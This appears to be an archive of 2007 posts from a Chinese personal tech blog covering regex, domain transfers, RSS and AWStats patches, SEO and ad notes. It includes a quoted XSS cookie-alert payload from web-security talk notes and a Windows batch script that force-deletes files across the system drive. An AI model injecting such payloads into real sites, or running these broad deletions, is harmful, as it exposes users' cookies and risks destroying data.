我个人的一些使用感受附后：最后希望大家支持正版，远离盗版非法电子书下载；

开发人员多少都应该学点正则表达式：第一次学正则表达式是从《Perl5编程详解》，书里介绍：正则表达式在一些大学是门软件选修课（一个学期），价值1000$美元左右。其实对于软件开发人员来说这门课非常实用：因为正则表达式在各种语言中都有相应的实现，规则通用。即使对于正则表达式并不是你开发工作中非常重要工具的开发人员来说，也还是值得将其中实例章节读一遍的。相信如果你发现一些文本处理问题如果能通过简单的正则表达式来解决的话，还是可以为你节省不少开发程序时间的。尤其是可以不用写多行程序/脚本，用perl在一行命令（oneline / oneliner）就可以解决了。而且，通过对正则表达式的运用，可以让开发人员懂得什么样需求更适合让计算机解决。

对于复杂的表达式注意注释和测试用例的积累：正则表达式语法灵活多变，一点差别往往会带来很大的差异，所以一定数量的注释还是很重要的，帮助你自己在几个月以后再看代码，可以很快的其他的维护者，保留相应的测试case还是很重要的，是否是单元测试不重要，哪怕代码后面多写几个test() 运行一下也好。

去搜索引擎上搜搜有没有类似例子可参考：我收藏的通过正则表达式进行UrlEncode和UrlDecode，在中文的关键词搜索日志统计分析中会经常用到。而这些现成的方法，也是从一些开发者共享代码中添加的注释才搜索到的。

💬 历史评论

以下 8 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

shizhao · 2007-09-12 19:38

去年的时候，好不容易把正则表达式弄了个大概明白，结果好久不用，今年全忘掉啦:(

沈蚊 · 2007-09-13 10:03

已经下单了，挖哈哈哈~~XD

沈蚊 · 2007-09-13 12:13

在网上看到一个入门版的 http://www.unibetter.com/deerchao/zhengzhe-biaodashi-jiaocheng-se.htm

我接触正则是做编辑的时候，有时会处理一些文档，用的最多的就是转义符/n和/t~~XD

anysql · 2007-09-13 12:38

如果是原创就更要支持了.

Yurii · 2007-09-14 11:06

承蒙推荐勘误已经发布，地址在： http://www.luanxiang.org/blog/?p=202 请大家多提意见

沈蚊 · 2007-09-17 16:46

还一篇老帖子，《正则表达式之道》

http://net.pku.edu.cn/~yhf/tao_regexps_zh.html

qualylee · 2007-09-18 21:05

:-)，呵呵， markup。

正则表达式，确实有非凡的用户，虽然不能算是高度的抽象，但可以看到“类” 。

将域名解析迁移到国外的服务商

Tue, 11 Sep 2007 15:10:42 +0800

Auth Code： 域名迁移最重要的就是Auth Code，基本上说，域名的Auth Code是你的域名在各家域名hosting服务商之间迁移的令牌，每个域名对应一个密文的令牌（DreamHost的是一个15位的数字，有的是一个12位的字符串），在多个国外的域名服务商之间切换直接提交Auth Code即可。在DreamHost的控制面板中：列出了你所有拥有并在Dreamhost解析的域名所对应的Auth Code。

国内的服务商在后台界面中不显示域名对应的Auth Code，有一个申请的流程。首先向你在国内的服务商提出申请，一般是要求传真身份证和申请表。如果传真不方便，把身份证拍照下来+申请表文档附件邮件给服务商也可以。如果顺利：服务商会给你发送邮件，将迁移用的Auth Code给你然后在国外服务商的迁移导入界面中填写Auth Code即可，一般提交后2周左右迁移完成。在此期间也要注意一下你的域名注册时候的联系人邮箱，可能接收方还会再发个接收确认信之类的。

我将服务迁移到国外：只想用DNS和邮件转发，而不用国外域名服务商的其他服务：DreamHost是必须从DNS到主机都一起用，不能修改DNS，所以专门需要一个域名管理Only的服务商：慢客向我推荐了ENom，这个服务商对于管理几十个域名还比较有效，但是如果只管理几个域名就有些亏了：要交99$保证金。迁移了2个花了十几$后剩下的钱就闲在那里了。

此外：选择国外空间服务商的一个重要原则，是否给每个域名相对独立的IP地址，防止同IP的其他域名被阻尼后遭到牵连：所有域名所用的IP地址最好是不同的，万一那个域名或者别人的那个域名被block后，其他大部分网站都可以访问，我最早试用过PowWeb的服务，很可惜：他选择了Virtual IP后，所有域名都用同一个IP，很快被阻尼了。也不能为个别在中国用户调整单独IP，这是我后来不得不转向其他服务商的主要原因。这里有个IP邻居查询服务：查查那些网站和你使用相同的IP地址，myipneighbors.com。

💬 历史评论

以下 7 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

leavic · 2007-09-11 17:42

Auth Code各家都有各家的不同，万网的Auth Code就是管理密码，但还是要提出申请后才能当Auth Code用。什么时候换成加宽版的默认模板了。

Livid · 2007-09-14 14:15

关于 DNS Only 我个人比较推荐用 dnspod.net。

Jun Han · 2007-09-20 16:57

我觉得enom每年的域名注册费用太贵了，还是godaddy便宜，目前我dns也是用国内的dnspod.net。还比较稳定。

xiaoyu · 2007-09-24 21:55

ENOM 域名之类的可以联系我.

哈… 我的域名也在ENOM.

不是很贵. 比国内也就贵上10元左右. 但是比国内放心些.

我顺便申请连接可以嘛?

www.ongod.org

Noble · 2007-10-02 18:32

MagpieRSS/Lilina中： Fatal error: Only variables can be passed by reference 问题的解决

Sun, 02 Sep 2007 20:40:19 +0800

将系统升级到php 5以后，我也遇到了Fatal error: Only variables can be passed by reference：就在前两天订阅blogsearch的搜索结果时候发现的，估计还是和atom格式的输出导致的。解决方法是照着gregarius项目上的patch修改的。由于目前我用的是cvs版本的MagpieRss，修改位置略有不同，具体diff附后，直接获得修改后的文件：源代码可以参考这里。

diff -b rss_parse.inc Index: rss_parse.inc =================================================================== RCS file: /cvsroot/magpierss/magpierss/rss_parse.inc,v retrieving revision 1.32 diff -b -r1.32 rss_parse.inc 416a417,428 > $real_element = ""; > > $element_tree = explode("_", $el); > $real_element =& $this->current_item[ $this->current_namespace ]; > > foreach ($element_tree as $tree_element) { > if (!is_array($real_element)) { > $real_element = array(); > } > > $real_element =& $real_element[$tree_element]; > } 418c430 < $this->current_item[ $this->current_namespace ][ $el ], $text); --- > $real_element, $text); 434c446 < if ( $this->initem ) { --- > if ( $this->initem && !is_array($this->current_item[ $el ])) {

为WordCamp Beijing 2007准备的演讲稿

Fri, 31 Aug 2007 17:15:33 +0800

明天参加WordPress的中文用户大会。这篇《为什么搜索引擎喜欢Blog》，主要从满足搜索用户需求角度：发现的一些Blog/Wiki发布系统特点，以及如何利用其中的一些设计原则改善原有旧内容发布系统。

其实反复说的就是2点： 1 不要轻易改变链接/归档规则，避免链接失效； 2 提供RSS/Sitemaps方便搜索引擎蜘蛛发现内容和抓取；

很多WordPress用户都是SEO方面的专家，欢迎指正。

后记：会场上的现场举手统计：有1/3左右用户的blog都放在国外的主机空间上的。说明WordPress服务的空间还是很大的。

💬 历史评论

以下 6 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

86 · 2007-08-31 18:25

先睹为快了，明天见 :)

邦比快跑 · 2007-08-31 22:27

为什么搜索引擎不喜欢我的blog？？新文章都不收录了明天估计不好现场问你直接在这开小灶吧：） http://www.binbinmath.com/archives/360288

我要去桂林 · 2007-08-31 23:39

支持一下

ppt

传播速度好快啊

Nicky · 2007-09-01 00:22

还没安装 ppt，明天看现场的。

沈蚊 · 2007-09-01 12:08

偶刚起床。。。555。。。

lishengping · 2007-09-02 11:04

谢谢您昨天演讲后耐心解答我的问题.很有启发. 回头在尝试您说的那些策略的时候,万一有问题,希望还能向您讨教. 再谢!

首页聚合的网站：通过feedburner发布的blog列表

Thu, 30 Aug 2007 17:10:04 +0800

还需要花点时间找到内容的RSS源地址，知情者请帮忙提供。

谢谢，更多相关FeedBurner访问阻尼内容。

其实从RSS的真正使用来源分析看：直接订阅RSS的客户端还是少数，更多的是在线的RSS阅读器：而其中的国外服务：GReader/Bloglines等，是不受影响的，而国内的抓虾，鲜果也都有国外服务器来解决FeedBurner种子的抓取问题。

💬 历史评论

以下 1 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

阿里妈妈广告投放的一些注意事项

Fri, 24 Aug 2007 22:28:32 +0800

8月10日阿里妈妈广告平台发布后我就是申请了代码，投放了一段时间后，还是有些经验教训，这里备忘一下。

第一：及时查看广告购买情况，避免缺省轮循Alimama缺省广告，如果选择了广告需要经过你审核后投放，你最好必须隔三岔五的登录上去看看，我周五投放的，周一登录后台才看到，其实已经有几个客户下单了，有客户因为没有及时回复而撤单了；第二：避免轮循无收入广告：如果选择了广告投放，总不可避免有些时间会投放Alimama的缺省图片广告，这个广告是没有收入的，但是如果选择了允许CPC模式：还有会有些收入的。从申请广告位到首个用户开始投放总有个几天的，对于流量较大的网站：这几天的收入也是需要关注的。第三：广告位价格的估算：原先我按照Google AdSense收入的估算：日独立IP数=年收入￥基本上还是比较靠谱的。目前下面那个广告位的点击率在0.15%上下，日3000IP左右，点击10几个，所以我提出的广告出价为50￥/周（3000￥ / 52周），平均下来广告客户一周会有几十点击和上万展现，广告客户选择广告投放网站。按照这个价格的广告已经在执行中：买家成交价格投放时间交易状态 Andy 50.00 2007-09-04—2007-09-10 已执行 1stcool 100.00 2007-08-21—2007-09-03 已执行

关键是要找到合适的广告客户和相对比较规模化的投放；可能对于小网站来说：申请Alimama广告其实可以当作一个donation链接：如果读者喜欢你的网站，就请包下一周的广告做为对作者的鼓励吧。

另外：AdSense的收入进来下降也是趋势，从我自己网站的统计来看，原先每天1$，现在只有0.5$/天了，点击率没有怎么下降，平均下来，每次点击的价值0.1-0.2￥。

下面是广告时间：域名+空间服务，第一年80￥第二年160￥…… 其实我在Dreamhost上的空间帮几个同事/朋友都做了WordPress的主机服务管娟唐莎萨 Judie Qin 我太太覃丽华 Neo王磊赵璇郝新宇黄泽宇已经开了Alimama广告位的我都买单了……

💬 历史评论

以下 8 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

oego · 2007-08-25 14:48

有意思，有道理。东车先生的blog我最爱读，千遍那个万遍呀下功夫～

如果你喜欢本条评论，就请承包“你大爷的中文网”下一周广告做为对作者的鼓励吧。

www.nidayed.com

abada.cn · 2007-08-25 15:53

我的站点申请都5天了，怎么还不通过审核呢？

Livid · 2007-08-27 16:30

V2EX 的顶部也开始尝试投放 Alimama 了。

http://www.v2ex.com/

windtear · 2007-09-02 14:46

MagpieRSS在PHP5下解析atom时间戳出错问题的解决: gmmktime() expects parameter 3 to be long

Mon, 20 Aug 2007 18:46:39 +0800

迟迟没有将服务器的PHP升级到php 5，就是很久以前发现有lilina有个bug：个别频道的内容全部都排到最前了，而发表时间全部变为抓取时间。今天升级到php 5.2.3以后，在线debug了一下这个RSS解析问题终于把这个问题暂时解决了。为什么PHP4下不会出错，PHP5就出错了呢？

发现其实在magpie_rss包的目录下：还有一个专门用于debug的小脚本，一一测试了一下，发现是ATOM格式的来源都有这个问题，跟踪了一下，还是parse_w3cdtf()里的问题，只不过这次的问题是：gmmktime() expects parameter 3 to be long, 就是第三个参数太长了，第三个参数是秒，干脆强制将秒设置为0了（发布时间只精确到分种即可），diff -r1.7 rss_utils.inc

    $seconds = 0;

35c35

这种字符串应该有个更标准的解析函数了吧？

AWStats 6.7的补充更新：中文搜索引擎定义和twiceler蜘蛛等

Fri, 10 Aug 2007 10:11:46 +0800

AWStats在7月初就发布了6.7（我一直使用CVS中版本的），昨天我也收到了作者Eldy的邮件通知。针对中国网络环境中的很多搜索引擎定义缺失较多：比如Qihoo QQ的蜘蛛，ZhuaXia RSS蜘蛛等；补充在这里：下载，解包后覆盖awstats/lib下的文件即可。

2007-08-11更新： AWStats的作者Laurent已经接受了我的所有的patch提交：这是3年来没有过的啊。

附：目前提给AWStats项目的更新。 AWStats - Bugs - 6 items 775988 The lastest: minor Chinese search engine patch 1735647 Chinese search engines for awstats 6.6 1735646 robots patch: feedsky, contentmatch crawler, twiceler, yodao 1735639 Browser patch for Lilina/potu reader 1735637 Chinese translation file for awstats 6.6 1533028 WordToCleanSearchUrl for baidu.com AWStats - Patches - 6 items 1384243 minor Chinese spider and search engine patch 1569151 TOP 8 Chinese local search engines 745359 Chinese(Simp) update: 6.5 awstats-cn.txt 1569201 top Chinese browser and robot update: TT is not a robot 1569229 Simplified Chinese language file update 1569208 Browser update on potu rss reader and lilina rss reader AWStats - Feature Requests - 5 items 1384245 exclude referer spam by request type is HEAD 881891 ShowMonthStats: last 12 months vs first month of this year 863298 Counter of spider access on URL-Pages report. 1124526 Meet referer spam: need nofollow 706297 smart IIS timezone solution

推荐：鲜果RSS阅读器

Tue, 31 Jul 2007 19:05:43 +0800

已经将GREADER上所有的FEED都导入鲜果了，我最喜欢鲜果的几点是： 1 中文界面和适合中文浏览的字体； 2 有FEED对应网站的FAVICON (类似bloglines)； 3 缺省标题列表模式的浏览和点击展开（类似GReader）； 4 右键管理频道：删除/移动频道都很方便； 5 自动识别Flickr的图片FEED：展示大图； 6 可以在FireFox中方便的设置鲜果为缺省订阅器（目前大部分feed我都是通过FireFox地址栏中的RSS图表来订阅的）；

另外：鲜果也有类似于Google Reader的收藏RSS输出，如果能像豆瓣那样提供“脚印系统”方便用户和订户之间的交流就更好了。

我的FEED上：鲜果在目前的订户仅次于ZhuaXia和Google Reader，发展还是比较快的。同一个领域还是有些竞争比较好，用户有更多的选择。

最早使用的bloglines最近已经很少去了，感觉速度还是比较慢。之前做过一个BlogLines类似应用的硬件成本分析，BlogLines是典型的数据库应用设计思路：未读数量GoogleReader会显示100+ 而BlogLines却显示1244条未读，这个精确的数字有意义吗？最重要的是将用户需要的top100条返回，而不是返回给用户一个10022这样精确的数字。而为了这个精确数字遍历整个数据是非常消耗资源的；

💬 历史评论

以下 5 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

鲜果团队 · 2007-07-31 18:58

谢谢车东对鲜果的支持，果团们很受鼓舞哦。^.^ 鲜果会在大家的支持和关爱下发展得越来越快，也会为大家带来更多稳定实用、新鲜有趣、方便快捷的服务，更多精彩，倚马可待。：）

Freeman · 2007-08-01 09:23

鲜果是挺不错的，不过G Reader的分享功能很实用，我有点离不开它。

gengmao · 2007-08-04 23:00

鲜果不支持safari？注册都完成不了…

asiapan · 2007-08-30 18:43

界面不错，可惜的是从greader导入以后，好多feed都不能更新（或及时更新），GReader每天准时抓取，鲜果似乎没有，或者认不出某些feed

sea · 2009-03-04 16:50

现在雅蛙已经做得非常不错了，速度稳定，界面协调，展现方式一目了然。

部分RSS流量转用FeedSky RSS烧制服务

Sun, 29 Jul 2007 14:51:03 +0800

上周末可能一些blog订阅用户发现订阅的内容有些突然的变化：很多忽然都变成未读了，增加了美味书签和FlickR烧制了，一些RSS解析器解析出错之类的。原因是我将所有的atom.xml / index.rdf流量都转向到feedsky了。我使用MT发布的blog早先有3个FEED地址：

index.rdf(rss 1.0格式) index.xml(rss 2.0格式) atom.xml(atom格式)，

在[MT 3.2以后](http://www.chedong.com/blog/archives/001116.html)，MT缺省简化成了index.xml和atom.xml 2种格式，太多的地址对于订阅用户的统计非常不方便。虽然通过[awstats可以做一些简单的FEED统计](http://www.chedong.com/blog/archives/001078.html)，但是毕竟FEED的统计服务还是烧制服务商做的更专业。

为了节省带宽，减少统计，将FEED转向到了 feedsky上的地址： apache的配置如下

RewriteEngine on RewriteRule ^\/blog\/index\.rdf$ http://feed.feedsky.com/chedong [R=301,L] RewriteRule ^\/blog\/atom\.xml$ http://feed.feedsky.com/chedong [R=301,L] #RewriteRule ^\/blog\/index\.xml$ http://feed.feedsky.com/chedong [R=301,L]

注意：千万不要将feedsky/feedburner中的数据源index.xml也进行转向，否则feed数据源就会产生循环抓取 feed.feedsky.com/chedong ==> chedong.com/blog/index.xml =301=> feed.feedsky.com/chedong ==> feed.feedsky.com/chedong ....

这里也提醒一些MT的老用户（比如王建硕），即使用了新版的MovableType系统，也要记得做一个index.rdf的转向或者到index.xml的链接，这样应给也能挽回一些旧订户。

FeedSky在稳定性和FeedBurner不相上下了：主要的优势还是在内容的本地化方面 1 设置项目相比比较简单：缺省很多高级功能就都有了； 2 中文界面的确比FeedBurner的“汉语界面翻译”的更好； 3 对国内的书签服务，图片收藏服务支持较好； 4 本地广告支持；

以下是我对统计数据做的一些分析：

日期总订阅数在线订阅数 2007.7.28 3754 3560 2007.7.27 5571 3562 2007.7.26 241 231 2007.7.25 245 231 2007.7.24 245 231

老用户（27日以后数据）：最早的时候index.rdf是blog的缺省订阅入口，可能选用客户端浏览器的较多（POTU占最大比例），占20%多。幸亏离线浏览器没有发展的越来越多，否则RSS发布商大量带宽浪费是无法避免的。毕竟很少用户会复制RSS地址，再添加到RSS离线阅读器里。

新用户（27日以前数据），越来越多的使用在线阅读器(90%以上)，而抓虾/Google Reader/鲜果是其中最主要的订阅用户。有了OPML导入导出，迁移一个在线阅读器服务还是非常容易的，早期的Bloglines用户已经逐步迁移到了其他RSS阅读器上。

从feedsky的点击统计来看：标题是非常重要的，对于通过美味书签收藏的英文页面最好能充分利用标题/摘要做一些中文说明，这样对于其他读者的参考作用会更高。

在线RSS阅读器的订阅统计数字反馈：Google Feedfetcher vs. Zhuaxia

Thu, 26 Jul 2007 16:05:10 +0800

来自在线RSS阅读器的订阅数量统计，就在日志的User Agent字段中可以找到：

72.14.199.16 - - [13/Mar/2007:01:21:21 +0800] "GET **/index.rdf** HTTP/1.1" 301 322 "-" "Feedfetcher-Google; (+http://www.google.com/feedfetcher.html; **4 subscribers;** feed-id=11532101896026039461)" - 72.14.199.8 - - [13/Mar/2007:01:22:47 +0800] "GET **/blog/index.xml** HTTP/1.1" 304 - "-" "Feedfetcher-Google; (+http://www.google.com/feedfetcher.html;** 349 subscribers;** feed-id=9065234676578188017)" 72.14.199.8.299921173720167467

抓虾的：

60.28.204.10 - - [13/Mar/2007:17:57:37 +0800] "HEAD **/blog/index.rdf** HTTP/1.1" 200 0 "-" "**Zhuaxia.com 1321 Subscribers**" 60.28.204.10.8526117377985731 60.28.204.8 - - [13/Mar/2007:18:12:34 +0800] "HEAD **/blog/atom.xml** HTTP/1.1" 200 0 "-" "**Zhuaxia.com 1319 Subscribers**" 60.28.204.8.317331173780754240

显然Google Reader对于Feedburner的数字有影响的，抓虾蜘蛛的订阅数字反馈对FeedSky的订数有影响的，可以通过 http://www.feedsky.com/reader_statistic.php?burl=feedname 看到相应的统计输出变化，以下是FeedSky的订阅量分布统计：

一键清除系统垃圾文件的脚本: 马上清理 clean.bat [下载]

Sat, 21 Jul 2007 22:53:36 +0800

在很多同事的桌面上都有clean.bat这个一键清理脚本。我也用过几次，clean.bat就是一个通过清理操作系统c盘临时文件和优化启动缓存来加速系统的工具。发现有时候这个脚本运行起来会比较慢，重新整理了一下脚本次序，并且将清空cookie和清空打开文件历史之类比较得不偿失的操作注释掉了。你一般如何评估系统启动的速度呢？我是看XP登录前那个横向滚动条的滚动次数，一般首次清理以后，能减少40%左右的启动时间。点击下载文件，代码附后：

@echo off
echo 清空IE临时文件目录… del /f /s /q “%userprofile%\Local Settings\Temporary Internet Files*.” del /f /s /q “%userprofile%\Local Settings\Temp*.”

echo 正在清除系统临时文件 *.tmp *._tmp *.log *.chk *.old ，请稍等… del /f /s /q %systemdrive%*.tmp del /f /s /q %systemdrive%*._mp rem .log大部分有可能有用 rem del /f /s /q %systemdrive%*.log del /f /s /q %systemdrive%*.gid del /f /s /q %systemdrive%*.chk del /f /s /q %systemdrive%*.old

echo 清空垃圾箱，备份文件和预缓存脚本… del /f /s /q %systemdrive%\recycled*.* del /f /s /q %windir%*.bak del /f /s /q %windir%\prefetch*.* rd /s /q %windir%\temp & md %windir%\temp

搜索引擎战略大会( 2007 厦门 )后记

Thu, 12 Jul 2007 12:04:18 +0800

5月底参加的另外一个大会是搜索引擎战略大会。搜索引擎对于目前网站流量来源的重要性可以从以下数字看出：搜索引擎不直接给用户解决问题，只是提供一个到达目标的转向：一般来说：带给其他网站的流量相比搜索引擎的搜索流量是要大于1的（用户搜索一次，一定会点击超过一下）。所以搜索引擎有多少流量，带给目标网站的流量可以乘个1.5。中国每天有多少搜索流量？ 3-4亿，带给其他网站的流量是多少？ 5-6亿。中国每天有几千万用户产生的几十亿流量，而搜索引擎就掌握了其中的5%左右的入口流量，对于很少给其他网站带去流量的内容网站来说，这几乎是所有来自非本站流量（referer）的90%以上。

以下是厦门大会上的部分问题摘要： 为什么你的网站被冥王星了？

参加大会之前曾经要求过主办方将单元标题将"为什么你的网站被删了"改成"为什么你的网站[被冥王星](http://biantaishabi.com/blog/2007/01/12/are-you-plutoed/)了", 而从实际的反馈来看, 网站更关心的问题是为什么其他网站作弊而没有被“冥王星”? 直接向搜索引擎服务商举报是目前的一个途径, 以下是几个引擎的spam提交地址：百度: [http://utility.baidu.com/antispam/spamreport.html](http://utility.baidu.com/antispam/spamreport.html) Google: [http://www.google.com/contact/spamreport.html](http://www.google.com/contact/spamreport.html) 中国雅虎搜索: [http://help.cn.yahoo.com/feedback.html?product=onesearch](http://help.cn.yahoo.com/feedback.html?product=onesearch)

如何保护自己的文章(搜索引擎如何保证原创性内容排名靠前):

再推销一下[chedong copyright](http://www.chedong.com/blog/archives/001249.html). 这个方法很有效, 为用户正确的标记文章原始出处提供方便, 通过法律途径对于不遵循你声明的版权信息的网站进行反击或者积极推进相关法律的形成和执行，我相信[用户还是希望做正确的事情的，如果你为他们提供方便的话](http://www.openp2p.com/lpt/a/3015)

很多人问过我关于搜索引擎排名方面的问题, 我只能告诉他们我了解的2个最基本的事实:

1 不被搜索引擎蜘蛛发现的内容, 肯定是搜索不到的; 2 如果用户找的内容只有你的网站提供, 你肯定排第一(如果被搜索引擎收录);

让网站先将拿到应该属于自己的流量是SEO最基本的工作, 尤其是在方便搜索引擎收录和发现新网页内容效率方面,RSS/SITEMAPS等协议, 都是方便搜索引擎收录非常好的途径. 让搜索引擎的蜘蛛从任何一个页面进入后,都能在尽可能少的跳数内遍历完整个网站。良好引用，良好结构，良好导航(Well referenced and well organized, with easy navigation)是网站发布者一直需要关心的问题. 这方面,Wikipedia是一个很好的范例.

5月份的阿里巴巴侠客行大会上遇到的很多网站开发人员, 他们对内容缺乏这个问题的理解比我更深刻. 互联网还是缺内容: 真正能为用户直接解决实际问题的内容. 如何低成本的获得/并结构化的发布内容是最关键的问题. 要知道SEO其实是可以论斤做的, Google Print项目对很多行业网站都应该有启发: 通过扫描/OCR等技术将线下已有的内容发布到网上, 再通过搜索引擎索引后方便的提供给用户, 如何这些利用内容充分覆盖用户的长尾需求其实也是目前SEO的一个重要方向。

💬 历史评论

以下 3 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

大黑鱼 · 2007-07-21 12:01

我观察过一些大网站的统计报告，从搜索引擎来的流量都非常少，大都是直接输入网址，所以搜索引擎可以说就是为中小网站服务为垃圾网站服务。

“让搜索引擎的蜘蛛从任何一个页面进入后,都能在尽可能少的跳数内遍历完整个网站”，这句话很重要，谢谢。

这次是Musicmatch：下一个会是？

Tue, 10 Jul 2007 17:11:32 +0800

今天收到了MusicMatch的信：大概意思就是旧的MusicMatch将于2007年8月31日结束，用户可以将服务迁移到新的Yahoo! Music Jukebox……很久没有用MusicMatch的服务了，以前注册也是用也是为了将自己的CD转成MP3。而Winamp 5已经可以可以很好的支持CD音轨转MP3了。

还记得雅虎的花生酱宣言吗，里面列出的左右互博问题有些已经有了一些眉目，还没有结论的我用黑体字标记了一下个人喜好（你的选择呢？）。 • YME(Yahoo! Music Engine) vs. ~~Musicmatch~~ • Flickr vs. ~~Photos~~ • YMG video vs. Search video • Del.icio.us vs. myweb • Messenger and plug-ins vs. Sidebar and widgets • Social media vs. 360 and Groups • Front page vs. YMG(Yahoo! Media Group) • Global strategy from BU’ vs. Global strategy from Int’l

给MusicMatch的用户信附后。

Important Information About Musicmatch

Greetings Musicmatch Customer:

As you may already know, Musicmatch is now part of the Yahoo! Music family. The same team that brought you Musicmatch products and services over the years has been working hard to bring you the next generation of world-class music services and software. As part of this integration, Musicmatch services will be discontinued on August 31, 2007, and Musicmatch customers will have the opportunity to migrate to the Yahoo! Music Jukebox.

阿里巴巴侠客行大会后记: Rasmus Lerdorf

Sun, 08 Jul 2007 13:44:03 +0800

5月份参加了2个会议: Alibaba：侠客行和厦门的搜索引擎战略大会, 近期有时间会将相关的笔记整理一下.

Rasmus是PHP项目的创始者之一, 我听了他做的关于web应用安全性检查的讲座, 印象比较深的一点: 任何参数的输入都需要进行安全校验: 只要是有用户输入未来将会进行web输出的地方, 就要防止用户输入: ><img src=1 onerror=javascript:alert(document.cookie)< 这样的代码, 从而出现XSS漏洞；各种类型的数据都可以找到相关的安全检查包和过滤函数, 比如: intval()就是很常用的一个针对整数类型的参数校验的方法; 而做为个人用户面对这个不太平的互联网, 使用多个浏览器, 将生活(商业)和工作分开(这也相当于在2个独立的用户空间访问互联网) 也是一个比较好的安全之道, Rasmus Lerdorf自己用的是Mac: 于是: 个人/商业(比如信用卡之类的信息) Safari 而工作和其他网站访问使用FireFox.

晚上的酒吧聚会上, 我问了Rasmus一些关于开源社区的问题:

你在雅虎美国工作, 有多少时间是为雅虎公司做,有多少时间是为开源社区做, 在工作时间对开源社区的贡献是雅虎公司对开源社区的贡献吗?

Rasmus: 参与开源社区是个人行为，而非公司行为, 不论他是为Yahoo Oracle 还是Google IBM HP, 都是以个人身份参与开源社区的工作; Yahoo!的开发人员中对FreeBSD方面的贡献很大;

您是从什么时候开始参与开源社区的开发的:

Rasmus: 大学时期, 北欧的福利制度(Rasmus在丹麦上的大学, 免费的)对于学生深入研究一些问题很有帮助, 不用像美国学生那样做无聊的Mac Job. 你实习的时候如果只是在麦当劳打工, 应该是对于未来的发展没有太多积累的.

开源社区的中国开发人员:

Rasmus: Apache核心项目中非常少见到来自中国的开发人员，但是来自印度倒是有不少。

关于Rasmus Lerdorf:

Yahoo!美国过来的Jeremy Zawodny没有见到, 我更想见的是写雅虎花生酱宣言的Brad Garlinghouse.

💬 历史评论

以下 1 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

leavic · 2007-06-21 14:26

[广告] 香港Web搜索应用架构师职位（Lucene）

Thu, 28 Jun 2007 20:50:54 +0800

一个快速发展中的垂直搜索引擎公司正在招聘一位JavaWeb应用架构师，负责高性能/大容量的搜索应用的设计和构建（工作地点在香港）。

以下经验：

5年以上相关行业开发经验，构建和商业网站；
基于Java(J2SE)的web应用构建；
基于开源平台的高性能web应用设计：Linux / Apache / Tomcat / MySQL / Spring框架 / Lucene
Linux系统管理和性能调优；

其他经验：

PHP/正则表达式/XML/XSLT
搜索应用和蜘蛛抓取技术，搜索软件和评分算法（超链分析/点击流分析）；
良好的英语沟通能力；

善于学习并承担/领导大规模web应用开发的人，如果您对这个职位感兴趣请发送邮件到 click@cyberspaceltd.com 了解详情；职位说明原文附后：

Technical Web Architect / Lead Java + Lucene web developer

Fast growing vertical search engine based in Hong Kong is looking to hire a Java web developer / techical architect with experience designing and building high-performance, scalable web applications.

You need to have 5 or more years of industry experience building and administering commercial high traffic web sites

AWStats：QQ纯真库IP解析插件安装

Thu, 21 Jun 2007 13:42:13 +0800

[![](http://farm2.static.flickr.com/1337/578959127_71326c3580_m.jpg)](http://www.flickr.com/photos/chedong/578959127/) [AWStats：QQ纯真库IP解析插件和GeoIP City的对照](http://www.flickr.com/photos/chedong/578959127/)

原由车东上載

Albert提供了[纯真IP库解析包](http://www.ieasy.org/reload/cat2/awstats_qqhosti.html)：比GeoIP City要精确的多。参考了[Nicky的安装文档](http://www.osxcn.com/journal/awstats-plugins.html)，备忘如下：

插件代码：下载并复制到 awstats/plugins/目录下（为什么不合成一个文件并改好路径呢？）。 http://www.ieasy.org/download/qqhostinfo.pm http://www.ieasy.org/download/qqwry.pl

QQ纯真库IP库：下载解包，将QQwry.Dat文件复制到awstats/ 下； cz88.net/fox/ 官方网站打不开，也可以从华军/天空等下载站找到；

修改，qqwry.pl中：

./QQWry.Dat 修改为 ${DIR}/QQWry.Dat

在公共配置文件中：增加

LoadPlugin="qqhostinfo"

输出样例截图： http://www.flickr.com/photos/chedong/578959127/

按照以上模式安装后，以后定期更新纯真库即可。

参考文档：纯真IP数据库格式详解

💬 历史评论

以下 2 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

凉面 · 2007-07-06 13:25

请教问题，我使用IIS，按照你的文章内容操作，并不能得到地理位置。其他的帖子提到需要安装Net::XWhois模块，Windows如何安装呢？请指教

Scott Wong · 2008-05-27 16:11

您好，看到您的文章，觉得非常好，但是我在使用中遇到一些困难，特地来请教我的环境是： ActivePerl-5.8.8.822-MSWin32-x86-280952.msi，awstats-6.7.exe 操作系统Windows server 2003 standard SP2 ，IIS版本6.0

请问要怎样使用纯真IP数据库？ QQwry.dat、 qqhostinfo.pm qqwry.pl这三个文件该怎样处理？ LoadPlugin=“”这里该怎样填写？

我在.conf文件中和.pm文件中都使用的绝对路径

看了很多文章，在我的机器上试验之后只能看到浏览器中， Error: AWStats config file contains a directive to load plugin “program” (LoadPlugin=“c:\program files\awstats\wwwroot\cgi-bin\plugins\qqhostinfo.pm” but AWStats can’t open plugin file “c:\program.pm” for read. Check if file is in “C:\Program Files\AWStats\wwwroot\cgi-bin/plugins” directory and is readable.（这里我检查过，确实存在、可写）

Access Flickr 1.5 + FireFox: 解决FlickR相册被屏蔽问题

Mon, 18 Jun 2007 10:08:28 +0800

最近有很多国内的朋友都在问：FlickR.com怎么看不到照片，FlickR.com打不开，图片无法显示等问题。昨天在KReny的网站上看到了用FireFox插件可以解决这个问题的方法，只需要安装FireFox后： 到下载Access Flickr 插件: https://addons.mozilla.org/en-US/firefox/addon/4286并重启FireFox浏览器即可。如果有朋友需要看你的Flickr相册：请赶快将这个方法告诉他。

这个插件的作者是一个伊朗人：FlickR在沙特等国家也有类似的屏蔽问题。

附一段插件代码，看代码就能知道如何修改url了，感谢xjb：

